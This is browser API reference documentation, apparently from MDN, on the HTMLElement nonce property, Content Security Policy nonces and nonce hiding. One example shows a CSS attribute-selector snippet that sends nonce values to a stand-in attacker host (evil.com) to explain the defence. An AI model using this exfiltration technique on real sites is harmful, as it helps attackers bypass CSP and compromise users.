HTMLElement: nonce property
Baseline
Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since March 2022.
The nonce property of the HTMLElement interface returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.
In later implementations, elements only expose their nonce attribute to scripts (and not to side-channels like CSS attribute selectors).
Examples
Retrieving a nonce value
In the past, not all browsers supported the nonce IDL attribute, so a workaround is to try to use getAttribute as a fallback:
let nonce = script["nonce"] || script.getAttribute("nonce");
However, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). The IDL property (script['nonce']) will be the only way to access nonces.
Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this CSS selector:
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Specifications
| Specification |
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| HTML # dom-noncedelement-nonce |
Browser compatibility
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Legend
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- Full support
- Full support
- Partial support
- Partial support
- Has more compatibility info.